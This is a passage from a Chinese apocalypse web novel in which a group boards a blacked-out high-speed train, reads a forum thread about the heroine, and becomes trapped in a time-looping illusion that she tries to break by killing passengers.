谢增微微一愣。祝无忧连忙在桌底下扯扯伏苓的衣角:“哎呀人家是正道君子,是条子诶!你居然就这么把这句话说出了?假如逮捕我们怎么办?”
“原来那条追杀令里的人是你?”谢增立马明白过来。
祝无忧呆了一瞬:“啊?”
程承倒是没意外。
战备机和论坛都是军方产物,他们自然会持续关注论坛中的言论。
“稍等。”谢增掏出通讯设备摁了几下,点击发送后抬起头:“既然是这样,军区会立刻删帖,并且屏蔽一切有你名字出现的帖子和评论。”
林随遇吊儿郎当道:“那我们呢?”
谢增:“一样屏蔽了,林队放心。”
伏苓冷笑一声:“不用。让他们来。”
谢增笑了笑:“但若真一茬一茬来找你,也会很麻烦的,不是吗?”
也有道理。
伏苓没再说话了。
谢增继续说:“还有,如果你们要去荥城的话,可以去集庆南站坐高铁,是各地军区联手疏通的,几站就到了。每五天晚上有一班,最近的那辆列车,就在今晚抵达集庆南。”
说着,他起身去了墙侧,从书报架上抽了一张纸,小跑着回来:“这是集庆的地图,我们现在资源紧缺,可能没办法送你们。”
程承接过地图,扫了两眼找到集庆南站,又抬头说:“哦,对了。我们有一辆车被扣押在城门口,不知道能不能找到。”
说到这个,谢增脸上浮现出几分尴尬:“你们的车多半是被那群畜生扣押了,东西基本上都被藏在异空间里,我们暂时还没有找到,吕翔似乎是为了拖慢我们寻找第三人的步伐,所以一直不肯松口。”
程承与伏苓对视一眼,叹了口气:“没事,车子不着急。那晚上,我们就离开了。”
谢增站直身体,对着他们敬了个礼:“一路顺风!感谢你们为集庆做出的贡献。”
“谢队!”有战士扒在门口喊,谢增站起身来:“那你们慢慢吃,我就先去忙了。”
程承朝他挥了挥手。
等又只剩下他们几人,祝无忧“额”了一声,小心翼翼问道:“我们真要坐高铁去啊?”
程承扫了她一眼:“怎么了?你晕高铁?”
“哎呀当然不是!”祝无忧凑近了些:“少侠你可有听过釜山行?你不觉得我们这情况有点像吗?”
程承:“……”
林随遇:“看不出来你想象力挺可以啊,还会举一反三呢。”
祝无忧气呼呼:“怎么了!本来就是啊,丧尸,高铁,要素齐全啊!”
林随遇纠正:“是感染者,不是丧尸。”
“有什么区别嘛……”祝无忧小声嘀咕。
她扒了两口米饭,嚼嚼嚼了两下又大呼小叫起来:“我们的越野车怎么办?”
程承抿唇:“没办法,若是我们真的因此停留,多半要浪费不少时间。说实话……现在各地的情况都不容乐观。如果我们能终结灾难,自然是越快越好。”
“哎呀,小卷毛,”林随遇举起筷子,漫不经心,“虽然随安决定跟你们同行,肃州也很可能确实是一切的源头,但我还是要提醒一下你们——”
他稍稍靠近,眼中笑意全无,明媚的眸子在此刻显得清冷而疏离:“一切都不是绝对的。肃州只是有可能解决问题,但并不代表一定,我们愿意为了这一线生机跨越半个国家,仅仅是因为一丁点的线索,而不是绝对的结果。”
“事情或许会就此终结,也可能继续恶化,如果你们将希望全部压在肃州,一旦结果不如人意,你们又该从哪里再次找到生机呢?”林随遇说。
祝无忧盯着林随遇,凑近伏苓小声问:“啥意思?”
伏苓声音淡淡:“意思就是,不要把宝全压在肃州身上,如果我们这趟只是一场空,我们就会陷入绝望。”
“哇——”祝无忧猛地转头:“你怎么灭自己威风啊!这时候不应该是鼓舞士气吗?”
林随遇耸耸肩,没再说话。
林随安很快带来了好消息,军区已经开始联系方休并正在视频会议,不知后续如何。
眼见也快到列车到站的时间了,伏苓几人便辞别了谢增,一齐前往集庆南站。
虽然民间组织与军区对立多年,但战士们依旧尽其所能维护着街道上的和平——主要体现在,一路上都几乎没有撞见什么感染者。
“其实也能理解,”林随遇一手抱胸,一手抵在手腕摊开手心:“在别地感染者是避之不及的存在,在集庆可是香饽饽啊。”
一方争夺感染者并以之为食,另一方要阻止对方抢夺感染者,只好尽量将感染者控制在自己的管辖范围内。
确实算得上是香饽饽。
高铁站凄凄惨惨的,几乎看不见什么人影。
周边算不上荒芜,高架铁路蜿蜒穿过城市,延至远方,还是显得有些冷清。
进了站内,售票口依然开放着,但却无人问津,窗口后也是空无一人。
广播偶尔传来断断续续的声音,提醒着下一趟列车的进站时间。
候车室里空荡荡的,角落里坐着一个身着黑衣的人,低着头,看不清面容。破旧的长椅上散落着一些遗留下来的杂物。
祝无忧面无表情地扫了一圈,真诚发问:“这高铁有什么要运行的必要吗?”
“就是。”林随遇敲了敲满是灰尘的玻璃门,激起一阵尘土:“就算没什么人,也不能这么消极怠工吧?”
“哥哥。”林随安皱眉看着他碰到玻璃门的手:“很脏。”
祝无忧吓唬道:“就是,说不定还有什么病毒残留呢!”
林随遇微笑着收回了手,从一侧放着的免洗酒精洗手液里挤出了点液体搓手:“……没那么夸张吧。”
他搓干净了手,又凑到林随安身边:“你看你看,现在干净了。”
几人找了个位置坐下,准备等高铁发车。
祝无忧往嘴里塞了点薯片:“话说我们不需要买票吗?”
“哪来的薯片?”林随遇坐她旁边,凑过去抢了几片,还顺手分给了林随安一半,才回答她的问题:“不需要,想上就上。末世还收钱,那
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我们军方也太不是个东西了。”
祝无忧瞪他:“方医生给的,地下之城的人教我做的,就这么几盒,你少跟我抢!”
“地下之城?是你们在临安的驻扎点吗?”林随安笑着把薯片还给祝无忧,后者愣了一下,又推给她:“你吃,我是不给林随遇吃!”
林随遇冷笑:“干什么干什么?双标啊!”
伏苓回答起了林随安的问题:“对。那里聚集着很多无能力者,他们没有作战能力,便日日想着法子给我们放松,复刻一些和平年代的产物,比如薯片,酸奶什么的。”
林随安:“真好。”
在这乱世,居然也有一处安稳之地,供使人们有心情去点缀生活。
广播又响了一遍,似乎是还有五分钟列车就要到站了。
候车室里还是没什么人,几人聊了半天只走进来了零零散散的几个人。
如今也不用检票排队,站台两端又没有封闭,所以大家一般会等到列车即将进站才会去站台。
在前往高铁站之前,林随安就了解了一下这个高铁站以及后面去肃州的路线,她解释道:“来坐高铁的都是军方的人占多数,通常是去别地支援的。但今天需要安置灾民,所以队里没人出来。”
伏苓坐没坐相,歪在扶手上托腮:“这车从哪来的?”
末世里的高铁,从哪来,到哪去?
林随安摇摇头:“这我不知道,为了保证高铁上的安全,军方规定每个人最多只能坐五程,所以基本上没有人知道这辆车的始末站。”
她顿了顿,补充道:“不过应该是很长的,全国只有这一趟车。我猜,可能是绕一周吧。”
“G0001列车即将到站,请各位旅客前往站台等待,列车停靠两分钟。”
冰冷的机械女声在候车室回荡。
在四处散落着的人陆陆续续起身前往站台。
伏苓他们五人也慢吞吞地站起身来,祝无忧扯了扯衣领:“末世了,我们这个播报就不能有温度一些吗?来个真人嘛,机械音冷冰冰的。”
进站的验证机器被整个卸去,地面上也还算得上干净。看得出来,平常集庆来坐这趟列车的人其实不少,只是没人打扫。
他们避着那几波人走上站台。
站台上稀稀拉拉站了几个人,他们找了个没人等待的位置站着。
祝无忧踮起脚尖朝两边看了看:“我都好几年没坐过高铁了。”
林随遇笑道:“这世道,谁会没事坐高铁?”
能在自己所在的城市苟着就不错了。
听到祝无忧这句话,程承倒是突然意识到了什么,他不动声色地扫了一眼周围的人。
人不多,除了他们五个,其他人加起来也不过四个人,其中只有两个是结伴的,另外两人都是独自一处。
几波人都隔的远远的,明显是对其他人颇有防备。
程承压低声音:“上列车的应该异能都很强,大家小心些。”
伏苓:“?”
她眨眨眼睛,程承对上她的视线,弯了弯眼:“你除外。”
24. 永不停靠的轮回02
伏苓盯着他笑起来时出现的小梨涡,轻轻挑眉。
林随安无意间瞥到了两人的交流,她露出了然的神色,眉梢上带着些许笑意转过了头。
不过她没说出的话,总会有人替她接上。
林随遇:“你们俩眉来眼去什么呢?”
他挤进两人中间,大声嚷嚷:“有什么话是我们不能听的吗?”
程承:“……”
他微笑询问林随安:“高铁站有规定不准打架吗?”
林随安:“……”
她拽着林随遇的后脖颈:“闭嘴,车来了。”
林随遇被拽走,程承又看了一眼伏苓,后者已经看向了高铁驶来的方向了。
他抿了抿唇,顺着她的目光看去。
这辆高铁与先前他们以及中的高铁不太一样,它遍体漆黑,即使夜色深重,也没有开灯,只有轰隆的轮轨声在夜晚里回响。站台上灯光昏暗,微弱的照明勉强勾勒出周围的轮廓。
高铁携风而来,祝无忧缩了缩脖子:“这车好奇怪。”
林随安放开了冷静下来的林随遇:“感染者听力下降,一半是依靠光源追捕猎物,所以列车改成了这个眼色,又只在黑夜行驶,这样就不会吸引感染者了。”
祝无忧似懂非懂地点点头。
林随遇耐不住性子,故作高深地踱步到她面前:“听懂没有,祝无忧同学?国家制造,值得信赖。”
说了句废话。
林随安已经不想管他了,刚好列车稳稳当当地停在众人面前,缓缓打开了车门。
连接处没开灯,一片漆黑,对面车门的窗户如同巨大的眼睛,一片漆黑,反射出周围的虚无。
林随安响起之前去边境执行任务时坐的绿皮火车,深夜,硬卧,当时的车箱就是这样一片漆黑,什么都看不清。
但如今的感觉又好像不太一样。
可能区别在于,当年的绿皮火车上即便漆黑一片,也会有悉悉索索的人声,但眼前的车厢内却像是空无一人,满是冰冷的气息。
不过林随安不怕这些,率先进了车厢。
车箱内部的隔断门关得很紧,红外线扫描全身,确定来者身体正常才缓缓开了门。
内部倒是与记忆里的差不多,车厢壁上铺满了高分子隔音棉。
他们进来的这个车厢里只有两个人,倚在靠背上,只是扫了她一眼就不再关注,继续低着头不知道在做什么。
林随安找了个远离众人的位置,靠着窗坐下,林随遇紧跟其后,坐在她身侧。
他们俩坐的是双人座,祝无忧在林随遇身后,直接坐在了同排的三人座里侧。
伏苓也不挑,跟着她坐下,一排座位就剩下最后一个,程承便顺势坐在了伏苓身边。
前面的陌生人又回过头上,不经意间与伏苓对上视线。
伏苓挑了挑眉。
那人立马转过身去,再也不敢动作。
看来是看过追杀令的人。
伏苓抽出战备机,扫了一眼论坛。
之前被爆表的浏览量顶在最上面的追杀令已经没了,只剩下最开始的“前瞻集团破产贴”和另一个名为“分析一下不可说”。
不可说?
什么不可说?
伏地魔啊?
伏苓一脸问号地点了进去。
【分析一下不可说】
1L:占个坑,我先去上个厕所。
2L:?兴冲冲点进来你就给我看这个?
3L:五分钟了,楼主是不是便秘了?
6L:说起来,你们怎么上厕所的?去野外吗?
7L:人在集庆,我们水库正常工作,上的是马桶哦。
8L:靠,楼上过分了!
9L:我也嫉妒了,看了一下,集庆离我不过五百公里,我今天就出发。
13L:你们的楼主回来啦?诶?楼里走向怎么奇奇怪怪的?
14L:所以楼主是去野外还是马桶?
15L:???我不想说!这是我的隐私!!
16L:没事,知道了。
17L:???
26L:言归正传,我们来聊聊不可说。当然,新来的小伙伴肯定会有很多很疑惑,谁是不可说?为什么称呼她为不可说。所以我首先来讲讲前情提要。
27L:就在昨天,论坛里第一次出现了关于前瞻集团覆灭的帖子,大家讨论得正激烈,突然又出现了一个追杀令。
看到这里,伏苓短促地“呵”了一声。
原来是在说这事,看来这个不可说是自己咯?
她饶有兴致地往下翻。
29L:被追杀的人,正是导致前瞻集团覆灭的罪魁祸首,大家在数个小时的信息分析后!终于找到了这人是谁!!
30L:楼主别大喘气了,一口气说完啊!!
31L:哎呀别急!就今天下午,在我们欢呼雀跃准备寻找这人的异能和基本信息时,所有关于她的帖子在一瞬间全部消失!甚至,连讨论其他事情的帖子,只要出现她的名字,一律全部被删帖,行为可谓是嚣张至极!霸道异常!
32L:为了防止本帖被删帖,聪明的楼主想出了用不可说来代替这个可怕的女人的名字。
35L:有一说一,你们扒人家信息的行为真的不是人肉吗?
36L:这个年代人肉又怎么了?一个实力可以倾覆实力强悍的顶头组织的人,我们不试图了解她,谁能安心睡下?
56L:哎呀大家不要吵架!和平,我们要和平一点!
67L:楼主继续说啊!我等着呢!
78L:诶诶好勒,我们继续!大家可以想一想,什么人可以在一瞬间删掉所有关于不可说的帖子?你们可能想说,管理员?黑客?或者是其他一些组织……但是大家有没有想过,我们的论坛背后是谁?
99L:卧槽……我有点脊背发凉了。
109L:所以不可说是……军方的?
138L:我们严谨一点点,不可说就算不是军方的人,也必然背靠军方!也就是说,前瞻集团是军方要求攻击的!而军方派出了她!
145L:不是还有个男的吗?
156L:哎,您猜怎么着,有关这男人的信息的帖子也被全部删除了。
189L:所以他们俩都是军方派出来的?
213L:这下真成you-know-who了,这背景太牛逼了。
256L:我只好奇前瞻集团到底做了什么,居然惊动了军方?
321L:肯定是十恶不赦的事情咯,这下我终于可以站队了,前瞻集团死得好!
再下面都是一些无聊的废话,这楼主也再也没有回帖。
伏苓打了个哈欠,准备关掉战备机睡会。
屏幕即将摁灭的瞬间,帖子最底层跳出一条回复:
435L:那个
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,我好像,看到她了。
伏苓立马精神起来,她抬头,与第一排乘客偷偷摸摸看过来的目光撞在一起。
那人又唰嘚一下转了回去。伏苓目光轻飘飘地落在前面乘客的后脑勺上,他依旧低着头,越坐越低,越坐越低,最后只剩下一点脑袋尖。
伏苓又瞥向屏幕。
帖子在一瞬间回复爆炸,消息疯狂往上跳,一眼看去,全是感叹号。
伏苓摁住屏幕往上翻到那人的评论,她微微挑眉。
哦呦,还是楼主呢?
她点开只看楼主回复,就发现这人又回了两句。
986L回复562L:我不敢,我肯定打不过她。
1345L回复1222L:异能?我哪知道,我跟她隔了一整个车箱呢。
她笑了笑,下面又弹出一条来:
1588L:不说了,困死了。但是,不可说挺好看的,没有大家说的那么凶残。
1968L:最后一句,真不说了。她身边还有四个人,应该是队友,我就瞥到了其中两个,气质一看就是军区的。
后面消息再也没有弹出来,伏苓抬眼,那人已经抱着臂做出睡觉的姿态了。
伏苓摁了一下返回键,帖子的消息还在疯狂弹着,无非是——“你他妈还是颜控?”、“才几点睡什么睡”以及“放个屁股蹲后续”之类的。
她勾了勾唇,摁灭了屏幕。
窗外夜色厚重,祝无忧凑在窗边看了又看,意识到什么都看不清后才无聊地靠在了椅背上。
列车行驶得很平稳,车厢内也没什么人说话。
千篇一律的风景,悉悉索索的白噪音,这样的氛围很适合睡觉。
加上夜已经深了,伏苓靠在椅背上闭上眼睛。
程承释放了些许红雾也跟着沉沉睡去。
……
“前方到站,彭城,列车停靠两分钟,请各位旅客注意时间。”
伏苓睁开眼睛。
车内还亮着灯,前方的玻璃门上方有一块显示屏,正播报一段新闻联播。
祝无忧靠着窗,睡得正熟。其他几个人闭着眼睛还在梦中,车厢内一片寂静。
伏苓皱了皱眉,起身想出去。
突然,她的手腕被温热的掌心包裹。
伏苓转头,程承还有些睡眼惺忪,揉了揉眼,声音暗哑:“怎么了?”
伏苓垂眸,沉默了一瞬道:“上厕所。”
程承顿时清醒了,他脸颊微红:“……哦。”
他松开手。
伏苓站得高,看到了他通红的耳根。她勾唇笑了一下,向车厢前走去。
今天新闻联播是一个男播音员,屏幕没有发出声音,伏苓扫了一眼也没再看。
玻璃门打开,推着小餐车的乘务员对着她笑了一声,问道:“要来一点话梅吗?很好吃的。”
伏苓摆摆手拒绝了他,稍稍让开了些,方便他过去。
坐在第一排的楼主也在睡,伏苓瞥了他一眼走了出去。
车厢连接处也很安静,没什么人。
伏苓洗完手甩了甩,看向车厢前方。
前面的车厢比他们身处的车厢人少一些,但似乎是一起的,同样没什么人说话,整个车厢安静得落针可闻。
列车颠簸了一下,前方的车箱歪歪扭扭,看上去仿佛没有尽头。
一切都很平静。
伏苓歪了歪脑袋,向前走去。
25. 永不停靠的轮回03
一般来说,末世里的交通工具很少有人会愿意来回走动,特别是像高铁这样有一节一节车厢的。
伏苓面无表情地从走道穿过。
还在睡梦中的人被她的脚步声惊醒,猛地睁开眼睛,快速扫了她一眼。
无能力者,还是个女生,他们顿时放下了心,再次闭上眼睛休息。
伏苓脚步不停,继续向着下一节车厢走去。
这趟高铁只有五个车厢,伏苓他们五人所在的车厢是倒数第二个。
也就是说,她向前走应该只有三个车厢。
但当伏苓走到三号车箱连接处时,却发现前面明显不止两个车厢。
她愣了一下,步子加快了些。
打开下一节车厢的玻璃门时,她隐隐约约看到了前方车厢有一道身影在飞快地移动。
伏苓意识到不对劲,加快脚步朝着那道身影跑去。
她没有放轻动作,目光紧紧盯着前方那道身影,丝毫不在乎其他人。
车厢里的人被她吓了一跳,纷纷转过去看去。
“怎么回事?”
“发生什么了?”
就像平静湖面上的那颗小石子,安静的车厢顿时起了人声。
前面的身影越跑越快,越跑越快,伏苓跟着加快速度,她声音冷冽:“站住!”
她右手甩开,细长的软剑闪电般攻出,瞬间击中前面那人的后背。
砰的一声。
那人被狠狠撞在前方的玻璃门上。
伏苓放缓脚步,目不转睛地看着在地上挣扎的人。
谁?
到底是谁?
“伏苓?”程承的声音突然传来。
伏苓一愣,侧目看去。
她方才的声音很大,一剑打过去发出的声音几乎将睡着的人全部惊醒。
但她看着还在揉眼睛的祝无忧和一脸关切的程承,却突然觉得浑身发冷。
她猛地转过头去,对上了林随安和林随遇的目光。
林随遇打了个哈欠:“你干什么呢?”
伏苓歪了歪脑袋,短促地笑了一声。
她怎么会回到这个车厢呢?
她一把掏出能量枪,对准面前半跪着的人:“抬头。”
面前的人动也不动,伏苓语气更甚,冷着脸再次重复:“我说最后一遍,抬头。”
话音落下,面前的人缓缓抬头。
从散落的发丝间,伏苓看清了她的脸。
她瞳孔微颤。
因为面前那人的脸俨然跟自己一模一样。
……
“前方到站,彭城,列车停靠两分钟,请各位旅客注意时间。”
伏苓猛地睁开眼睛。
她气息有些不顺,警惕地打量着周围。
车厢内一片正常,祝无忧还在浅浅呼吸,周围的人也依旧是一幅熟睡的样子。
是梦吗?
她稍稍直起身,眉头皱了起来。
身侧的人动了动,还带着睡意的声音传来:“怎么了?”
伏苓转头看去。
程承睡眠浅,被自己吵醒了。
伏苓看着他,眯了眯眼:“你刚才一直在睡觉?”
似乎是不知道她为什么会问这个问题,程承愣了一瞬:“啊,对啊。”
他直起身,靠近了伏苓些许:“是做噩梦了吗?”
伏苓轻眨眼睛,缓缓点了点头:“应该是。”
程承笑了一声,恰好推着小推车的乘务员走到他们身边,他对上伏苓的眸子,笑道:“要来一点话梅吗?很好吃的。”
伏苓微微歪头,没有说话。
程承点点头:“给我一点吧,多少钱?”
乘务员摇摇头,掏了一把给程承:“公家给钱。”
程承道了声谢,他低头剥开包装袋,递到伏苓嘴边:“吃吗?”
都喂到自己嘴边了,伏苓也就没拒绝,微微低头含住了那颗小小的话梅。
唇瓣又轻又快地碰了一下程承的指节。
他轻轻蜷缩起手指。
话梅酸酸甜甜的,很好吃。
伏苓的脸颊被话梅顶得鼓鼓的,看上去有些不似平常的可爱。
程承眉眼弯弯,颊边的梨涡一隐一现:“梦到什么了?跟我说说。”
伏苓没说话,她像是泄愤一样嚼着那颗话梅,不知在思索着什么。
难得见她思考,程承笑了笑,没打扰她。
伏苓总觉得不太对劲。
怎么会是梦呢?
她站起身,跨过程承站上了过道,程承仰头看她:“去哪?”
伏苓眼睫一颤:“上厕所。”
程承脸颊又是一红,他讷讷:“哦。”
伏苓没动,她定定地看着程承,后者本还在羞涩,见状抬头疑惑道:“怎么不去?”
伏苓抬眼,声音冷沉:“不对,不是梦。”
她转身,猛地朝着前方跑去。
程承微愣,起身追去:“怎么了?”
伏苓跑得飞快,路过车厢里的人纷纷侧目看去,惊疑不定。
“这是怎么了?”
“发生什么事情了吗?”
他们站起身来,走到过道上皱着眉看着伏苓奔跑的背影。
程承从他们中挤过去,连连道:“抱歉抱歉,借过借过。”
看着两人身影走远,他们才瘪嘴坐下:“小情侣吵架啊,我还以为发生什么事了呢。”
伏苓微微喘气,猛地停在一节车厢前,程承随即赶到,他声音带着一点喘:“是出什么事情了吗?”
伏苓点了点玻璃门:“看到了吗?”
程承不解,凝神看去,却不知看到了什么,瞳孔微微颤动:“那是……”
车厢里俨然是林家兄妹和祝无忧的身影。
他猛地回头,看到了后面车厢上的“5”。
伏苓出声:“我就说不是梦。”
她看向还在愣神的程承,问道:“你说这是什么情况?”
程承深呼吸了几下,稳住心神。
他低眉思索两秒,立马想到了一个人:“你还记得集庆那个逃走的人吗?”
伏苓点点头。
与集庆军方对峙的小团队有三人。
一人异能为创造异空间,一人异能为魂魄离体,最后一任的异能是制造幻境。
伏苓顺着他的思路:“所以,这里是幻境?”
可,若是幻境的话,该怎么打破?
他们在集庆能打破幻境是找到了幻境与现实的连接口,可伏苓从列车头走到列车尾,也没看到任何一点可能与连接口相关的东西。
难道这一次得用别的方法?
气氛有些沉重,
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程承看了她一眼,开了句玩笑缓解气氛:“你这次居然思考了。”
伏苓瞪他:“屁话。你知道幻境怎么破?”
程承耸耸肩:“我不知道。”
“那怎么办?”伏苓靠在玻璃门上,一脸烦躁。
程承抬起手掌,红雾凝聚成形,小小的血兔出现在他手心。
他笑道:“但它应该知道。”
血兔缩在他掌心扭捏了两下,哼哼道:“找到制造幻境的人,或者把幻境清了。”
“清了的意思是……”伏苓皱眉,顺手戳了戳它圆滚滚的身体。
“就是那个意思啊。”血兔被戳烦了,换了个方向缩着:“但是应该还有特定的破局方法,不过这个得看个人。”
每个幻境都有自己的规则,破局的方法也不尽相同。但有通用的法子,只是难度相对来说大得多。
车厢里人不多,但能上车的人能力都不弱,一一清除,似乎难度有点大。
伏苓暂时排除这个选项。
那如今就只能找到那个制造幻境的人了。
两人对视一眼,皆是思索。
程承皱眉:“方才跟着你的过程中我对车厢里的人都留了个心眼,没遇到什么奇怪的人。”
五节车厢里,他们所在的四号车厢有七人,身后的五号车厢有四人,前方三号车厢五人,二号车厢三人,一号车厢两人。
排除他们五个,剩下需要排查的人有足足十六人。
伏苓插嘴:“不对,还有一个乘务员。”
那就是十七人。
程承看向她:“乘务员也有问题吗?”
伏苓:“不知道,但是也得算上他。”
程承摇摇头:“不对,这个幻境制造者肯定是从集庆上车的,我觉得需要排查的只有当时站台上的另外四个人。”
他说得在理,伏苓没反驳。
程承继续道:“我当时刻意等了一会才上车,留意到他们四人中,两人结伴的在一号车厢,剩下的两个人一个在三号,一个在五号。”
如果那人是孤身一人的话,那就只有两种可能:三号车厢的那人,或者五号车厢的。
伏苓看向身后的车厢:“那就从五号开始吧。”
她抬脚,径直走进了身后的车厢内。
五号车厢里有四个人。
两人坐在一起,明显是相熟的模样。另外两人一人坐在尾部,另一人在稍靠前的位置。
伏苓进来的时候,四人都抬头看向了她。
方才这两人跑过去的动静不小,车厢里的四人都还记得,见状不由有些警惕。
程承扫了那两个单独坐着的人一眼,拉着伏苓在第一排坐下,他压低声音:“末世穿黑衣服的人太多,我分辨不出哪个是之前在站台上的。”
伏苓点点头,当时在站台上大家离得都挺远的,她也不太能分清。
她从口袋里掏出一块小镜子,理了理头发后才慢条斯理地看向那两个单独的人。
程承沉默了一瞬:“你带镜子干什么?”
“照呗。”伏苓莫名其妙地看了他一眼:“有问题吗?”
程承:“……没问题。”
伏苓“啪”地一下收起镜子,惹得后面的人又向她看了一眼,发出不满的“啧”声。
她抬起下巴:“你一个我一个,杀了他们。”
26. 永不停靠的轮回04
程承深吸一口气,试图跟她讲道理:“不要随便杀人。”
伏苓撇嘴:“怎么能叫随便?这是幻境,在这里死了刚好能醒过来啊。”
程承有些无奈,他抬头,目光漫无目的地看向玻璃门上方的新闻联播,片刻后才说:“你是怎么确定是不是幻境的?”
伏苓隔空点了点车厢号:“根据车厢是否正确。”
她顿了顿,继续道:“其实主要还是凭借直觉。”
幻境里的感觉跟现实中的感觉相差很大,她醒来后就总觉得不舒服。
车箱确实能证明幻境,所以即便两人杀了无辜者,也不会有什么实际伤害。
程承点头:“好,我负责后排那个,你劫持中间的。”
他看向伏苓的眼睛:“别直接杀,一个个来,看幻境是因为谁破的。”
伏苓点点头。
还没等程承发号施令,她直接单手撑着靠背,翻过座椅,软剑如迅雷一般,直击她身后那人的面门。
那人瞪大眼睛,猛地起身后撤。
他满目惊慌,喊道:“等、等等,救命!”
程承伺机而动,漫天红雾在眨眼间束缚住最后一排的大汉。
那人目光一凝,电流劈里啪啦拔地而起,让他堪堪逃过程承的攻击。
异能是电吗?
程承眸色深沉,事实上,他已经认定这不是那个制造幻境的人了。
身处幻境或许可以凭空创造出新异能,但短时间内,他也根本没办法熟练掌握。
面前这人异能使用极其熟练,甚至可以逃过血兔的疯狂追捕。
所以多半没什么问题,困住他别碍事就行。
思及此,他干脆利落地铺开红雾,将人困在红雾之中。
大汉猛锤了一下红雾:“卷毛,把我放开!否则我要你好看!”
程承冲他点了点头,转身朝着伏苓走去。
大汉:??
点头是什么意思?
点头就可以莫名其妙把人关在这里了吗?
强盗啊!
中间还有两个结伴的,他们一人在前死死护住后面的人,满脸惊慌地看着伏苓和程承,大气都不敢出。
前面那人小心翼翼问道:“你们是……有仇吗?”
程承笑了一下,没回答,他开口,语气却是威胁:“别动,否则我不能保证你们的安全。”
那两人看了程承一眼,没敢动。
这算是同意了。
程承满意了,也没再管他们,走向伏苓。
伏苓直接下了死手,那人已经咽气。
程承叹了口气。
这么凶残,怪不得那两人害怕成这样。
他开口道:“幻境没散,应该不是他。”
伏苓起身,扫了一眼抖成筛子的两个人,淡淡道:“走,三号车厢。”
她提着软剑,跨过那人的尸体前走去。
程承垂眸,倒在血泊里的尸体还保持着惊恐的表情,他有些不忍,没再看下去。
走之前,他侧目看向缩在一起的两人:“待在这里,不要动。”
两人小鸡啄米似的疯狂点头。
伏苓脚步极快,路过四号车厢的时候祝无忧他们也醒来了。
似是听到了后面的动静,林随遇站在走道上:“后面车厢怎么了?”
伏苓面色淡淡,绕过他:“杀了个人。”
林随遇嘴角抽了抽,满脸问号:“谁杀的?你?杀他干什么?你认识他吗?”
伏苓没回他,倒是跟在她身后的程承开口道:“我们杀的,不知道该怎么解释,反正,我们现在在幻境里。”
“幻境?”林随安皱眉,起身看向已经离开车厢的伏苓:“那她去干什么?”
程承还没来得及解释,就听见前方车厢发出巨大的撞击声。
几人面色一变,迅速向爆炸声靠近。
程承走在最前面,推开玻璃门。
满地的血迹直直映入眼帘,但他已经无暇顾及。
伏苓站在走道中央。
车厢四面八方破出钢筋,一根根粗大的钢筋从她的前胸背后贯穿而出,鲜血顺着伤口涌出,将她的衣物染红。
鲜血从她嘴角涌出,与身体里流出来的猩红混在一起,染了一地。
程承心脏骤停。
他一向清晰的思路在此刻如同被锈腐蚀了一般,根本无法思考,呆愣地看着眼前的场景。
不知过了多久,可能是很长时间,也可能连一秒都没有到。
他眼中闪过一丝惊慌,哪还顾得上什么幻境死不死的。世界在这一刻轰然崩塌。
他声音颤抖:“伏苓……”
伏苓抬起头,钢筋的冰冷触感使她身体各处都在咯吱作响,肾上腺素飙升都掩盖不了的痛感将她刺激得双目赤红,眼里满是杀意与兴奋。
“啊……伏苓!”祝无忧挤进车厢,看到这个场景直接惊叫出声,眼泪止都止不住。
伏苓却毫无惧意,鲜血从她咧着的嘴角流淌下来,她笑出声:
“找到你了。”
……
“前方到站,彭城,列车停靠两分钟,请各位旅客注意时间。”
伏苓睁开眼。
濒死的感觉让她眼底一片赤红。
她看着那不断滚动的显示屏,突然咧开嘴,低声笑了起来。
程承的声音传来:“怎么了?”
他还是那幅没睡醒的样子。
伏苓没耐心告诉他什么情况,直接撑着前排座位的椅背翻了出去。
她将软剑抓在手里,脚步不停地直接朝着前方车厢奔去。
其他人也相继被吵醒,林随安一个激灵清醒过来:“她去哪?出什么事了?”
“我也不知道。”程承站起来,跟着她朝前面走去:“去看看。”
其他人也跟着往前快步跟上。
他们赶到的时候,伏苓已经跟那人打起来了。
软剑飞舞,刀刃飞快击中那人的身体,惹得他频频后退。那人被逼急了,手中凝聚出红色的火光,一股脑丢向伏苓。
伏苓一道剑光过去,直接将那团灵火劈成两半,刀尖直指面门。
胜负已定。
这人根本打不过伏苓,被击中后便直直倒在地上,失去呼吸。
伏苓轻飘飘落在地上,眉头却紧紧地拧着。
不对。
这人的异能怎么会是火系?
她突然站在原地不动,车厢内的其他人立马把她团团围住。
数个异能整装待发。
见状,程承他们来不及思考,挤进来将伏苓护住。
他冷声道:“诸位冷静。”
那些车厢里的人顿时怒了:“冷静?这女的突然
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冲过来杀人,你们还护着她?我看要冷静的应该是你们吧!”
林随安侧头扫了一眼伏苓,她依旧是低头不语,没有丝毫要解释的意思。。
她深吸一口气。
不管怎么样,她都相信伏苓不会无缘无故杀人。
他们如今不知道伏苓动手的原因,所以解释是无用的,只能武力逼退。
她抬眼,目光凌厉:“退后,不然别怪我们不客气。”
那些人似乎也没见过这么蛮不讲理的人,顿时瞪大眼睛:“末世你们就无法无天了是吗?就可以随便杀人了吗?这可是公家的高铁!”
林随遇脚尖微错,白色光芒自他们脚下蔓延开来,他勾唇笑了两声:“你别管。”
他们对峙的时候,伏苓自几人后方缓缓抬起头。
冷漠的目光扫过包围住他们的乘客,那几人忽地一阵恶寒,下意识退缩。
不对的,不是这个人。
她眯眼,突然想到一件事情。
幻境制造者可以捏出与自己相同的人偶吗?
答案是肯定的。
整个幻境都任他控制,与自己一致的人偶什么的,自然不在话下。
而目前伏苓锁定的只有三个人。
三号车厢的这个已经被她杀死,但幻境没散,更重要的是,这人用的是火系的异能。所以她可以确定,这绝对不是幻境的制造者。
同样,她也绝对相信程承的判断。
也就是说,上一次轮回中她杀的那个人,才是那只人偶。
她歪了歪头,眸中闪着天真的残忍。
但是这样看来的话,似乎杀人偶也没办法破除幻境。
毕竟那不是制造者的真身,死了对幻境来说也没什么问题。
既然如此,解决办法就只有一个了。
清除幻境里所有人。
这个方法难度很大,最开始伏苓是想避开这个选项的,但事已至此,她也只能将注意打到这里。
她不觉得车厢里有什么人的实力会比自己强,清除起来,也不是什么难事。
伏苓道德感不高,但也是不愿意杀害无辜人的。
在这个幻境里却是不然。
反正只要破了幻境他们也没有什么损失,只不过是体验一把濒死的感觉罢了。
想至此,她也不再纠结,直接下令:“杀了他们。”
车厢里所有人都愣了一下,围住他们的几人顿时有些慌了,他们瞪着眼睛:“你说什么……”
绕是他们也没想到,这位突然发疯的少女居然想直接杀了他们。
在此之前,他们根本没有见过面!
为什么要杀了他们?
就连程承也有些不明所以,转过头来看她。
